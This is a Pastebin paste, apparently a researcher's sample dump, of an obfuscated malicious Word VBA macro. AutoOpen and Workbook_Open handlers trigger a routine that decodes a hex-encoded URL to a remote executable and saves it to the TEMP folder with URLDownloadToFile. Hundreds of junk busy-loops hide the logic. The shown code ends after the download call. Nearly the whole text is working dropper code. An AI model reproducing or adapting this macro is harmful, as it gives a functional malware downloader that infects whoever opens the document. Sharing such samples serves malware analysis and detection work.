Need a unique gift idea?
A Pastebin account makes a great Christmas gift
SHARE
TWEET

Malicious Word macro

dynamoo Jan 12th, 2015 166 Never
Upgrade to PRO!
ENDING IN00days00hours00mins00secs
 
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
  12.     ByVal szURL As String, _
  13.     ByVal szFileName As String, _
  14.     ByVal dwReserved As Long, _
  15.     ByVal lpfnCB As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal pCaller As Long, _
  19.     ByVal szURL As String, _
  20.     ByVal szFileName As String, _
  21.     ByVal dwReserved As Long, _
  22.     ByVal lpfnCB As Long) As Long
  23. #End If
  24. Sub GYretgfd()
  25.  
  26. Dim mmrmVQfE As Integer
  27.  
  28. Dim lZhPpZiG As Integer
  29.  
  30. Dim HXeDBhEA As Integer
  31. HXeDBhEA = 9
  32. Do While HXeDBhEA < 71
  33. DoEvents: HXeDBhEA = HXeDBhEA + 1
  34. Loop
  35.  
  36. lZhPpZiG = 5
  37. Do While lZhPpZiG < 37
  38.  
  39. Dim xfciBOqo As Integer
  40. xfciBOqo = 5
  41. Do While xfciBOqo < 44
  42. DoEvents: xfciBOqo = xfciBOqo + 1
  43. Loop
  44.  
  45. DoEvents: lZhPpZiG = lZhPpZiG + 1
  46.  
  47. Dim LIdaFdDK As Integer
  48. LIdaFdDK = 2
  49. Do While LIdaFdDK < 41
  50. DoEvents: LIdaFdDK = LIdaFdDK + 1
  51. Loop
  52.  
  53. Loop
  54.  
  55.  
  56. Dim TfaXlvag As Integer
  57. TfaXlvag = 9
  58. Do While TfaXlvag < 26
  59. DoEvents: TfaXlvag = TfaXlvag + 1
  60. Loop
  61.  
  62. mmrmVQfE = 5
  63. Do While mmrmVQfE < 35
  64.  
  65. Dim uebWoJUk As Integer
  66.  
  67. Dim DkuvrkbI As Integer
  68. DkuvrkbI = 8
  69. Do While DkuvrkbI < 13
  70. DoEvents: DkuvrkbI = DkuvrkbI + 1
  71. Loop
  72.  
  73. uebWoJUk = 2
  74. Do While uebWoJUk < 12
  75.  
  76. Dim YyPpIcRa As Integer
  77. YyPpIcRa = 7
  78. Do While YyPpIcRa < 25
  79. DoEvents: YyPpIcRa = YyPpIcRa + 1
  80. Loop
  81.  
  82. DoEvents: uebWoJUk = uebWoJUk + 1
  83.  
  84. Dim cizLTRqq As Integer
  85. cizLTRqq = 5
  86. Do While cizLTRqq < 43
  87. DoEvents: cizLTRqq = cizLTRqq + 1
  88. Loop
  89.  
  90. Loop
  91.  
  92.  
  93. Dim cemloRun As Integer
  94. cemloRun = 5
  95. Do While cemloRun < 31
  96. DoEvents: cemloRun = cemloRun + 1
  97. Loop
  98.  
  99. DoEvents: mmrmVQfE = mmrmVQfE + 1
  100.  
  101. Dim hzycmISh As Integer
  102.  
  103. Dim oKlTowyd As Integer
  104. oKlTowyd = 3
  105. Do While oKlTowyd < 72
  106. DoEvents: oKlTowyd = oKlTowyd + 1
  107. Loop
  108.  
  109. hzycmISh = 4
  110. Do While hzycmISh < 84
  111.  
  112. Dim coWxhinf As Integer
  113. coWxhinf = 8
  114. Do While coWxhinf < 15
  115. DoEvents: coWxhinf = coWxhinf + 1
  116. Loop
  117.  
  118. DoEvents: hzycmISh = hzycmISh + 1
  119.  
  120. Dim MZOhtQeC As Integer
  121. MZOhtQeC = 3
  122. Do While MZOhtQeC < 12
  123. DoEvents: MZOhtQeC = MZOhtQeC + 1
  124. Loop
  125.  
  126. Loop
  127.  
  128.  
  129. Dim OGivNKyg As Integer
  130. OGivNKyg = 7
  131. Do While OGivNKyg < 69
  132. DoEvents: OGivNKyg = OGivNKyg + 1
  133. Loop
  134.  
  135. Loop
  136.  
  137.  
  138. Dim oGOiVFJI As Integer
  139.  
  140. Dim bXVicatM As Integer
  141. bXVicatM = 6
  142. Do While bXVicatM < 41
  143. DoEvents: bXVicatM = bXVicatM + 1
  144. Loop
  145.  
  146. oGOiVFJI = 3
  147. Do While oGOiVFJI < 72
  148.  
  149. Dim DfnBEDbW As Integer
  150. DfnBEDbW = 8
  151. Do While DfnBEDbW < 74
  152. DoEvents: DfnBEDbW = DfnBEDbW + 1
  153. Loop
  154.  
  155. DoEvents: oGOiVFJI = oGOiVFJI + 1
  156.  
  157. Dim KPaVyTZJ As Integer
  158. KPaVyTZJ = 9
  159. Do While KPaVyTZJ < 41
  160. DoEvents: KPaVyTZJ = KPaVyTZJ + 1
  161. Loop
  162.  
  163. Loop
  164.  
  165.  
  166. Dim uaZGdlCK As Integer
  167. uaZGdlCK = 2
  168. Do While uaZGdlCK < 74
  169. DoEvents: uaZGdlCK = uaZGdlCK + 1
  170. Loop
  171.  
  172. wVVVfg
  173. End Sub
  174. Sub AutoOpen()
  175.  
  176. Dim xufUDIcL As Integer
  177.  
  178. Dim lPTxWEEe As Integer
  179.  
  180. Dim lEyEIaph As Integer
  181. lEyEIaph = 5
  182. Do While lEyEIaph < 37
  183. DoEvents: lEyEIaph = lEyEIaph + 1
  184. Loop
  185.  
  186. lPTxWEEe = 7
  187. Do While lPTxWEEe < 53
  188.  
  189. Dim oGESZodU As Integer
  190. oGESZodU = 3
  191. Do While oGESZodU < 19
  192. DoEvents: oGESZodU = oGESZodU + 1
  193. Loop
  194.  
  195. DoEvents: lPTxWEEe = lPTxWEEe + 1
  196.  
  197. Dim DkimjYUd As Integer
  198. DkimjYUd = 8
  199. Do While DkimjYUd < 13
  200. DoEvents: DkimjYUd = DkimjYUd + 1
  201. Loop
  202.  
  203. Loop
  204.  
  205.  
  206. Dim HBGLGbuh As Integer
  207. HBGLGbuh = 9
  208. Do While HBGLGbuh < 44
  209. DoEvents: HBGLGbuh = HBGLGbuh + 1
  210. Loop
  211.  
  212. xufUDIcL = 5
  213. Do While xufUDIcL < 71
  214.  
  215. Dim DfAFUiEL As Integer
  216.  
  217. Dim ZnLcvieJ As Integer
  218. ZnLcvieJ = 6
  219. Do While ZnLcvieJ < 28
  220. DoEvents: ZnLcvieJ = ZnLcvieJ + 1
  221. Loop
  222.  
  223. DfAFUiEL = 8
  224. Do While DfAFUiEL < 74
  225.  
  226. Dim bWuwkpVt As Integer
  227. bWuwkpVt = 6
  228. Do While bWuwkpVt < 13
  229. DoEvents: bWuwkpVt = bWuwkpVt + 1
  230. Loop
  231.  
  232. DoEvents: DfAFUiEL = DfAFUiEL + 1
  233.  
  234. Dim RlUwLeaz As Integer
  235. RlUwLeaz = 6
  236. Do While RlUwLeaz < 55
  237. DoEvents: RlUwLeaz = RlUwLeaz + 1
  238. Loop
  239.  
  240. Loop
  241.  
  242.  
  243. Dim IMPpQBDq As Integer
  244. IMPpQBDq = 9
  245. Do While IMPpQBDq < 85
  246. DoEvents: IMPpQBDq = IMPpQBDq + 1
  247. Loop
  248.  
  249. DoEvents: xufUDIcL = xufUDIcL + 1
  250.  
  251. Dim jWOiaZQk As Integer
  252.  
  253. Dim qZGFgkYK As Integer
  254. qZGFgkYK = 3
  255. Do While qZGFgkYK < 55
  256. DoEvents: qZGFgkYK = qZGFgkYK + 1
  257. Loop
  258.  
  259. jWOiaZQk = 4
  260. Do While jWOiaZQk < 68
  261.  
  262. Dim wkseSyVK As Integer
  263. wkseSyVK = 5
  264. Do While wkseSyVK < 73
  265. DoEvents: wkseSyVK = wkseSyVK + 1
  266. Loop
  267.  
  268. DoEvents: jWOiaZQk = jWOiaZQk + 1
  269.  
  270. Dim AOikUafM As Integer
  271. AOikUafM = 6
  272. Do While AOikUafM < 58
  273. DoEvents: AOikUafM = AOikUafM + 1
  274. Loop
  275.  
  276. Loop
  277.  
  278.  
  279. Dim KQCuPYsO As Integer
  280. KQCuPYsO = 9
  281. Do While KQCuPYsO < 79
  282. DoEvents: KQCuPYsO = KQCuPYsO + 1
  283. Loop
  284.  
  285. Loop
  286.  
  287.  
  288. Dim crxoomfx As Integer
  289.  
  290. Dim Gyqoqptg As Integer
  291. Gyqoqptg = 8
  292. Do While Gyqoqptg < 73
  293. DoEvents: Gyqoqptg = Gyqoqptg + 1
  294. Loop
  295.  
  296. crxoomfx = 5
  297. Do While crxoomfx < 71
  298.  
  299. Dim dhHFdPWN As Integer
  300. dhHFdPWN = 3
  301. Do While dhHFdPWN < 25
  302. DoEvents: dhHFdPWN = dhHFdPWN + 1
  303. Loop
  304.  
  305. DoEvents: crxoomfx = crxoomfx + 1
  306.  
  307. Dim lISeiTpe As Integer
  308. lISeiTpe = 7
  309. Do While lISeiTpe < 91
  310. DoEvents: lISeiTpe = lISeiTpe + 1
  311. Loop
  312.  
  313. Loop
  314.  
  315.  
  316. Dim snLvkIeg As Integer
  317. snLvkIeg = 6
  318. Do While snLvkIeg < 88
  319. DoEvents: snLvkIeg = snLvkIeg + 1
  320. Loop
  321.  
  322.     GYretgfd
  323. End Sub
  324. Sub Workbook_Open()
  325.  
  326. Dim YadQnnby As Integer
  327.  
  328. Dim xoXdhVYp As Integer
  329.  
  330. Dim AOybeftU As Integer
  331. AOybeftU = 6
  332. Do While AOybeftU < 58
  333. DoEvents: AOybeftU = AOybeftU + 1
  334. Loop
  335.  
  336. xoXdhVYp = 5
  337. Do While xoXdhVYp < 44
  338.  
  339. Dim dgMmIblr As Integer
  340. dgMmIblr = 4
  341. Do While dgMmIblr < 25
  342. DoEvents: dgMmIblr = dgMmIblr + 1
  343. Loop
  344.  
  345. DoEvents: xoXdhVYp = xoXdhVYp + 1
  346.  
  347. Dim FdAzoPAs As Integer
  348. FdAzoPAs = 8
  349. Do While FdAzoPAs < 36
  350. DoEvents: FdAzoPAs = FdAzoPAs + 1
  351. Loop
  352.  
  353. Loop
  354.  
  355.  
  356. Dim nKgCDXFI As Integer
  357. nKgCDXFI = 6
  358. Do While nKgCDXFI < 12
  359. DoEvents: nKgCDXFI = nKgCDXFI + 1
  360. Loop
  361.  
  362. YadQnnby = 7
  363. Do While YadQnnby < 52
  364.  
  365. Dim cthDLVEv As Integer
  366.  
  367. Dim htPkJzAi As Integer
  368. htPkJzAi = 6
  369. Do While htPkJzAi < 85
  370. DoEvents: htPkJzAi = htPkJzAi + 1
  371. Loop
  372.  
  373. cthDLVEv = 5
  374. Do While cthDLVEv < 43
  375.  
  376. Dim gyUZNBdj As Integer
  377. gyUZNBdj = 4
  378. Do While gyUZNBdj < 61
  379. DoEvents: gyUZNBdj = gyUZNBdj + 1
  380. Loop
  381.  
  382. DoEvents: cthDLVEv = cthDLVEv + 1
  383.  
  384. Dim XlvoOhqP As Integer
  385. XlvoOhqP = 9
  386. Do While XlvoOhqP < 85
  387. DoEvents: XlvoOhqP = XlvoOhqP + 1
  388. Loop
  389.  
  390. Loop
  391.  
  392.  
  393. Dim eAsqJiSF As Integer
  394. eAsqJiSF = 2
  395. Do While eAsqJiSF < 97
  396. DoEvents: eAsqJiSF = eAsqJiSF + 1
  397. Loop
  398.  
  399. DoEvents: YadQnnby = YadQnnby + 1
  400.  
  401. Dim guYxJtoO As Integer
  402.  
  403. Dim JCLPiMAx As Integer
  404. JCLPiMAx = 9
  405. Do While JCLPiMAx < 43
  406. DoEvents: JCLPiMAx = JCLPiMAx + 1
  407. Loop
  408.  
  409. guYxJtoO = 4
  410. Do While guYxJtoO < 85
  411.  
  412. Dim vaAeeiSK As Integer
  413. vaAeeiSK = 5
  414. Do While vaAeeiSK < 14
  415. DoEvents: vaAeeiSK = vaAeeiSK + 1
  416. Loop
  417.  
  418. DoEvents: guYxJtoO = guYxJtoO + 1
  419.  
  420. Dim ypGVuAXk As Integer
  421. ypGVuAXk = 2
  422. Do While ypGVuAXk < 14
  423. DoEvents: ypGVuAXk = ypGVuAXk + 1
  424. Loop
  425.  
  426. Loop
  427.  
  428.  
  429. Dim FfcjzFiD As Integer
  430. FfcjzFiD = 8
  431. Do While FfcjzFiD < 74
  432. DoEvents: FfcjzFiD = FfcjzFiD + 1
  433. Loop
  434.  
  435. Loop
  436.  
  437.  
  438. Dim EcofVJEP As Integer
  439.  
  440. Dim tkunGFAn As Integer
  441. tkunGFAn = 2
  442. Do While tkunGFAn < 15
  443. DoEvents: tkunGFAn = tkunGFAn + 1
  444. Loop
  445.  
  446. EcofVJEP = 9
  447. Do While EcofVJEP < 28
  448.  
  449. Dim bWeKnkAj As Integer
  450. bWeKnkAj = 6
  451. Do While bWeKnkAj < 41
  452. DoEvents: bWeKnkAj = bWeKnkAj + 1
  453. Loop
  454.  
  455. DoEvents: EcofVJEP = EcofVJEP + 1
  456.  
  457. Dim djPfoZkU As Integer
  458. djPfoZkU = 4
  459. Do While djPfoZkU < 53
  460. DoEvents: djPfoZkU = djPfoZkU + 1
  461. Loop
  462.  
  463. Loop
  464.  
  465.  
  466. Dim WmlYtHZz As Integer
  467. WmlYtHZz = 9
  468. Do While WmlYtHZz < 57
  469. DoEvents: WmlYtHZz = WmlYtHZz + 1
  470. Loop
  471.  
  472.     GYretgfd
  473. End Sub
  474. Sub wVVVfg()
  475.  
  476. Dim GBLjlLEw As Integer
  477.  
  478. Dim kGyxkaax As Integer
  479.  
  480. Dim CdeMjppS As Integer
  481. CdeMjppS = 1
  482. Do While CdeMjppS < 84
  483. DoEvents: CdeMjppS = CdeMjppS + 1
  484. Loop
  485.  
  486. kGyxkaax = 4
  487. Do While kGyxkaax < 39
  488.  
  489. Dim KQMZHpKM As Integer
  490. KQMZHpKM = 2
  491. Do While KQMZHpKM < 13
  492. DoEvents: KQMZHpKM = KQMZHpKM + 1
  493. Loop
  494.  
  495. DoEvents: kGyxkaax = kGyxkaax + 1
  496.  
  497. Dim YuABvmIp As Integer
  498. YuABvmIp = 9
  499. Do While YuABvmIp < 25
  500. DoEvents: YuABvmIp = YuABvmIp + 1
  501. Loop
  502.  
  503. Loop
  504.  
  505.  
  506. Dim HXVfWiNo As Integer
  507. HXVfWiNo = 9
  508. Do While HXVfWiNo < 29
  509. DoEvents: HXVfWiNo = HXVfWiNo + 1
  510. Loop
  511.  
  512. GBLjlLEw = 8
  513. Do While GBLjlLEw < 44
  514.  
  515. Dim LYwgIxYe As Integer
  516.  
  517. Dim HNEChDNX As Integer
  518. HNEChDNX = 9
  519. Do While HNEChDNX < 44
  520. DoEvents: HNEChDNX = HNEChDNX + 1
  521. Loop
  522.  
  523. LYwgIxYe = 9
  524. Do While LYwgIxYe < 88
  525.  
  526. Dim LUqwFYbB As Integer
  527. LUqwFYbB = 9
  528. Do While LUqwFYbB < 41
  529. DoEvents: LUqwFYbB = LUqwFYbB + 1
  530. Loop
  531.  
  532. DoEvents: LYwgIxYe = LYwgIxYe + 1
  533.  
  534. Dim FqUUwQiq As Integer
  535. FqUUwQiq = 8
  536. Do While FqUUwQiq < 74
  537. DoEvents: FqUUwQiq = FqUUwQiq + 1
  538. Loop
  539.  
  540. Loop
  541.  
  542.  
  543. Dim KKfuMTIg As Integer
  544. KKfuMTIg = 9
  545. Do While KKfuMTIg < 71
  546. DoEvents: KKfuMTIg = KKfuMTIg + 1
  547. Loop
  548.  
  549. DoEvents: GBLjlLEw = GBLjlLEw + 1
  550.  
  551. Dim PEofNTcl As Integer
  552.  
  553. Dim jChNsESr As Integer
  554. jChNsESr = 7
  555. Do While jChNsESr < 93
  556. DoEvents: jChNsESr = jChNsESr + 1
  557. Loop
  558.  
  559. PEofNTcl = 8
  560. Do While PEofNTcl < 39
  561.  
  562. Dim IByGfoPL As Integer
  563. IByGfoPL = 9
  564. Do While IByGfoPL < 24
  565. DoEvents: IByGfoPL = IByGfoPL + 1
  566. Loop
  567.  
  568. DoEvents: PEofNTcl = PEofNTcl + 1
  569.  
  570. Dim qYfoIELk As Integer
  571. qYfoIELk = 3
  572. Do While qYfoIELk < 28
  573. DoEvents: qYfoIELk = qYfoIELk + 1
  574. Loop
  575.  
  576. Loop
  577.  
  578.  
  579. Dim ZIrVPoHu As Integer
  580. ZIrVPoHu = 6
  581. Do While ZIrVPoHu < 58
  582. DoEvents: ZIrVPoHu = ZIrVPoHu + 1
  583. Loop
  584.  
  585. Loop
  586.  
  587.  
  588. Dim smcyjaeB As Integer
  589.  
  590. Dim cpGaMZWd As Integer
  591. cpGaMZWd = 5
  592. Do While cpGaMZWd < 44
  593. DoEvents: cpGaMZWd = cpGaMZWd + 1
  594. Loop
  595.  
  596. smcyjaeB = 3
  597. Do While smcyjaeB < 87
  598.  
  599. Dim zUDynMjD As Integer
  600. zUDynMjD = 2
  601. Do While zUDynMjD < 98
  602. DoEvents: zUDynMjD = zUDynMjD + 1
  603. Loop
  604.  
  605. DoEvents: smcyjaeB = smcyjaeB + 1
  606.  
  607. Dim TfXbMgvs As Integer
  608. TfXbMgvs = 7
  609. Do While TfXbMgvs < 26
  610. DoEvents: TfXbMgvs = TfXbMgvs + 1
  611. Loop
  612.  
  613. Loop
  614.  
  615.  
  616. Dim pQMRnYMD As Integer
  617. pQMRnYMD = 3
  618. Do While pQMRnYMD < 71
  619. DoEvents: pQMRnYMD = pQMRnYMD + 1
  620. Loop
  621.  
  622.     eFdsgfsdg = HexToString(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(56) & Chr$(54) & Chr$(49) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(53) & Chr$(54) & Chr$(67) & Chr$(54) & Chr$(50) & Chr$(55) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(55) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(51) & Chr$(55) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(69) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))
  623.  
  624.  
  625. Dim slUooxyt As Integer
  626.  
  627. Dim LEIdElVI As Integer
  628.  
  629. Dim YqpxSYMH As Integer
  630. YqpxSYMH = 7
  631. Do While YqpxSYMH < 54
  632. DoEvents: YqpxSYMH = YqpxSYMH + 1
  633. Loop
  634.  
  635. LEIdElVI = 9
  636. Do While LEIdElVI < 87
  637.  
  638. Dim SvnonwpF As Integer
  639. SvnonwpF = 8
  640. Do While SvnonwpF < 76
  641. DoEvents: SvnonwpF = SvnonwpF + 1
  642. Loop
  643.  
  644. DoEvents: LEIdElVI = LEIdElVI + 1
  645.  
  646. Dim htIZMHld As Integer
  647. htIZMHld = 4
  648. Do While htIZMHld < 61
  649. DoEvents: htIZMHld = htIZMHld + 1
  650. Loop
  651.  
  652. Loop
  653.  
  654.  
  655. Dim EEnhOorE As Integer
  656. EEnhOorE = 6
  657. Do While EEnhOorE < 29
  658. DoEvents: EEnhOorE = EEnhOorE + 1
  659. Loop
  660.  
  661. slUooxyt = 3
  662. Do While slUooxyt < 25
  663.  
  664. Dim whlmfJHm As Integer
  665.  
  666. Dim OJDfYXtP As Integer
  667. OJDfYXtP = 7
  668. Do While OJDfYXtP < 32
  669. DoEvents: OJDfYXtP = OJDfYXtP + 1
  670. Loop
  671.  
  672. whlmfJHm = 5
  673. Do While whlmfJHm < 45
  674.  
  675. Dim qSOIaLSl As Integer
  676. qSOIaLSl = 3
  677. Do While qSOIaLSl < 71
  678. DoEvents: qSOIaLSl = qSOIaLSl + 1
  679. Loop
  680.  
  681. DoEvents: whlmfJHm = whlmfJHm + 1
  682.  
  683. Dim DlJzwfWK As Integer
  684. DlJzwfWK = 8
  685. Do While DlJzwfWK < 75
  686. DoEvents: DlJzwfWK = DlJzwfWK + 1
  687. Loop
  688.  
  689. Loop
  690.  
  691.  
  692. Dim aGCEiVeS As Integer
  693. aGCEiVeS = 4
  694. Do While aGCEiVeS < 24
  695. DoEvents: aGCEiVeS = aGCEiVeS + 1
  696. Loop
  697.  
  698. DoEvents: slUooxyt = slUooxyt + 1
  699.  
  700. Dim nSMmHOLj As Integer
  701.  
  702. Dim YihyYovi As Integer
  703. YihyYovi = 7
  704. Do While YihyYovi < 92
  705. DoEvents: YihyYovi = YihyYovi + 1
  706. Loop
  707.  
  708. nSMmHOLj = 8
  709. Do While nSMmHOLj < 12
  710.  
  711. Dim iNAuvaHE As Integer
  712. iNAuvaHE = 3
  713. Do While iNAuvaHE < 59
  714. DoEvents: iNAuvaHE = iNAuvaHE + 1
  715. Loop
  716.  
  717. DoEvents: nSMmHOLj = nSMmHOLj + 1
  718.  
  719. Dim BzLHxiwF As Integer
  720. BzLHxiwF = 1
  721. Do While BzLHxiwF < 92
  722. DoEvents: BzLHxiwF = BzLHxiwF + 1
  723. Loop
  724.  
  725. Loop
  726.  
  727.  
  728. Dim DlMOCddN As Integer
  729. DlMOCddN = 8
  730. Do While DlMOCddN < 75
  731. DoEvents: DlMOCddN = DlMOCddN + 1
  732. Loop
  733.  
  734. Loop
  735.  
  736.  
  737. Dim evTAniPe As Integer
  738.  
  739. Dim rnfddjCN As Integer
  740. rnfddjCN = 2
  741. Do While rnfddjCN < 17
  742. DoEvents: rnfddjCN = rnfddjCN + 1
  743. Loop
  744.  
  745. evTAniPe = 4
  746. Do While evTAniPe < 68
  747.  
  748. Dim BBtWSjTu As Integer
  749. BBtWSjTu = 1
  750. Do While BBtWSjTu < 92
  751. DoEvents: BBtWSjTu = BBtWSjTu + 1
  752. Loop
  753.  
  754. DoEvents: evTAniPe = evTAniPe + 1
  755.  
  756. Dim HawRPcqk As Integer
  757. HawRPcqk = 2
  758. Do While HawRPcqk < 44
  759. DoEvents: HawRPcqk = HawRPcqk + 1
  760. Loop
  761.  
  762. Loop
  763.  
  764.  
  765. Dim JxMoNccJ As Integer
  766. JxMoNccJ = 2
  767. Do While JxMoNccJ < 48
  768. DoEvents: JxMoNccJ = JxMoNccJ + 1
  769. Loop
  770.  
  771.     xTysdfsdf = Environ(HexToString("54454D50")) & HexToString("5C545955686664745555556473662E657865")
  772.  
  773. Dim IDxzVBIF As Integer
  774.  
  775. Dim scihMCno As Integer
  776.  
  777. Dim WNKjboOV As Integer
  778. WNKjboOV = 9
  779. Do While WNKjboOV < 82
  780. DoEvents: WNKjboOV = WNKjboOV + 1
  781. Loop
  782.  
  783. scihMCno = 3
  784. Do While scihMCno < 26
  785.  
  786. Dim sygIYhOG As Integer
  787. sygIYhOG = 3
  788. Do While sygIYhOG < 23
  789. DoEvents: sygIYhOG = sygIYhOG + 1
  790. Loop
  791.  
  792. DoEvents: scihMCno = scihMCno + 1
  793.  
  794. Dim phmuEjuX As Integer
  795. phmuEjuX = 3
  796. Do While phmuEjuX < 77
  797. DoEvents: phmuEjuX = phmuEjuX + 1
  798. Loop
  799.  
  800. Loop
  801.  
  802.  
  803. Dim lqwuUzdG As Integer
  804. lqwuUzdG = 5
  805. Do While lqwuUzdG < 96
  806. DoEvents: lqwuUzdG = lqwuUzdG + 1
  807. Loop
  808.  
  809. IDxzVBIF = 7
  810. Do While IDxzVBIF < 32
  811.  
  812. Dim iLlxhmud As Integer
  813.  
  814. Dim mermzpQR As Integer
  815. mermzpQR = 7
  816. Do While mermzpQR < 94
  817. DoEvents: mermzpQR = mermzpQR + 1
  818. Loop
  819.  
  820. iLlxhmud = 3
  821. Do While iLlxhmud < 11
  822.  
  823. Dim ECrmtWJc As Integer
  824. ECrmtWJc = 9
  825. Do While ECrmtWJc < 23
  826. DoEvents: ECrmtWJc = ECrmtWJc + 1
  827. Loop
  828.  
  829. DoEvents: iLlxhmud = iLlxhmud + 1
  830.  
  831. Dim rCTkIVcq As Integer
  832. rCTkIVcq = 2
  833. Do While rCTkIVcq < 11
  834. DoEvents: rCTkIVcq = rCTkIVcq + 1
  835. Loop
  836.  
  837. Loop
  838.  
  839.  
  840. Dim IbuiMdYT As Integer
  841. IbuiMdYT = 7
  842. Do While IbuiMdYT < 66
  843. DoEvents: IbuiMdYT = IbuiMdYT + 1
  844. Loop
  845.  
  846. DoEvents: IDxzVBIF = IDxzVBIF + 1
  847.  
  848. Dim nQzSmBUW As Integer
  849.  
  850. Dim TGFEYoZF As Integer
  851. TGFEYoZF = 7
  852. Do While TGFEYoZF < 22
  853. DoEvents: TGFEYoZF = TGFEYoZF + 1
  854. Loop
  855.  
  856. nQzSmBUW = 6
  857. Do While nQzSmBUW < 11
  858.  
  859. Dim kxgPfrlU As Integer
  860. kxgPfrlU = 4
  861. Do While kxgPfrlU < 98
  862. DoEvents: kxgPfrlU = kxgPfrlU + 1
  863. Loop
  864.  
  865. DoEvents: nQzSmBUW = nQzSmBUW + 1
  866.  
  867. Dim VPujCmka As Integer
  868. VPujCmka = 1
  869. Do While VPujCmka < 88
  870. DoEvents: VPujCmka = VPujCmka + 1
  871. Loop
  872.  
  873. Loop
  874.  
  875.  
  876. Dim Ivtbdtmm As Integer
  877. Ivtbdtmm = 7
  878. Do While Ivtbdtmm < 66
  879. DoEvents: Ivtbdtmm = Ivtbdtmm + 1
  880. Loop
  881.  
  882. Loop
  883.  
  884.  
  885. Dim jKWpOpXl As Integer
  886.  
  887. Dim szRAIkgC As Integer
  888. szRAIkgC = 6
  889. Do While szRAIkgC < 46
  890. DoEvents: szRAIkgC = szRAIkgC + 1
  891. Loop
  892.  
  893. jKWpOpXl = 4
  894. Do While jKWpOpXl < 83
  895.  
  896. Dim SBmdyuld As Integer
  897. SBmdyuld = 8
  898. Do While SBmdyuld < 72
  899. DoEvents: SBmdyuld = SBmdyuld + 1
  900. Loop
  901.  
  902. DoEvents: jKWpOpXl = jKWpOpXl + 1
  903.  
  904. Dim srxeHZbP As Integer
  905. srxeHZbP = 3
  906. Do While srxeHZbP < 51
  907. DoEvents: srxeHZbP = srxeHZbP + 1
  908. Loop
  909.  
  910. Loop
  911.  
  912.  
  913. Dim qpCBTcVS As Integer
  914. qpCBTcVS = 3
  915. Do While qpCBTcVS < 52
  916. DoEvents: qpCBTcVS = qpCBTcVS + 1
  917. Loop
  918.  
  919.     pYTgyhf = URLDownloadToFile(0&, eFdsgfsdg, xTysdfsdf, 0&, 0&)
  920.    Dim gffUYUdfg
  921.  
  922. Dim OIHZnNTe As Integer
  923.  
  924. Dim QxFDRQUj As Integer
  925.  
  926. Dim srmmomfb As Integer
  927. srmmomfb = 3
  928. Do While srmmomfb < 84
  929. DoEvents: srmmomfb = srmmomfb + 1
  930. Loop
  931.  
  932. QxFDRQUj = 8
  933. Do While QxFDRQUj < 38
  934.  
  935. Dim lkPuCpEc As Integer
  936. lkPuCpEc = 4
  937. Do While lkPuCpEc < 97
  938. DoEvents: lkPuCpEc = lkPuCpEc + 1
  939. Loop
  940.  
  941. DoEvents: QxFDRQUj = QxFDRQUj + 1
  942.  
  943. Dim yKXfqluY As Integer
  944. yKXfqluY = 2
  945. Do While yKXfqluY < 11
  946. DoEvents: yKXfqluY = yKXfqluY + 1
  947. Loop
  948.  
  949. Loop
  950.  
  951.  
  952. Dim bbcizcon As Integer
  953. bbcizcon = 8
  954. Do While bbcizcon < 71
  955. DoEvents: bbcizcon = bbcizcon + 1
  956. Loop
  957.  
  958. OIHZnNTe = 1
  959. Do While OIHZnNTe < 31
  960.  
  961. Dim pUllTsxz As Integer
  962.  
  963. Dim pmMmUbwS As Integer
  964. pmMmUbwS = 3
  965. Do While pmMmUbwS < 16
  966. DoEvents: pmMmUbwS = pmMmUbwS + 1
  967. Loop
  968.  
  969. pUllTsxz = 5
  970. Do While pUllTsxz < 71
  971.  
  972. Dim JbbXtolV As Integer
  973. JbbXtolV = 9
  974. Do While JbbXtolV < 76
  975. DoEvents: JbbXtolV = JbbXtolV + 1
  976. Loop
  977.  
  978. DoEvents: pUllTsxz = pUllTsxz + 1
  979.  
  980. Dim cDkZFbjk As Integer
  981. cDkZFbjk = 5
  982. Do While cDkZFbjk < 12
  983. DoEvents: cDkZFbjk = cDkZFbjk + 1
  984. Loop
  985.  
  986. Loop
  987.  
  988.  
  989. Dim YQVrXQvf As Integer
  990. YQVrXQvf = 7
  991. Do While YQVrXQvf < 21
  992. DoEvents: YQVrXQvf = YQVrXQvf + 1
  993. Loop
  994.  
  995. DoEvents: OIHZnNTe = OIHZnNTe + 1
  996.  
  997. Dim gtLkurbV As Integer
  998.  
  999. Dim xLHOODZn As Integer
  1000. xLHOODZn = 5
  1001. Do While xLHOODZn < 41
  1002. DoEvents: xLHOODZn = xLHOODZn + 1
  1003. Loop
  1004.  
  1005. gtLkurbV = 6
  1006. Do While gtLkurbV < 56
  1007.  
  1008. Dim YHZWFidG As Integer
  1009. YHZWFidG = 7
  1010. Do While YHZWFidG < 59
  1011. DoEvents: YHZWFidG = YHZWFidG + 1
  1012. Loop
  1013.  
  1014. DoEvents: gtLkurbV = gtLkurbV + 1
  1015.  
  1016. Dim FLQiTXyY As Integer
  1017. FLQiTXyY = 2
  1018. Do While FLQiTXyY < 43
  1019. DoEvents: FLQiTXyY = FLQiTXyY + 1
  1020. Loop
  1021.  
  1022. Loop
  1023.  
  1024.  
  1025. Dim PlZJtWFF As Integer
  1026. PlZJtWFF = 1
  1027. Do While PlZJtWFF < 37
  1028. DoEvents: PlZJtWFF = PlZJtWFF + 1
  1029. Loop
  1030.  
  1031. Loop
  1032.  
  1033.  
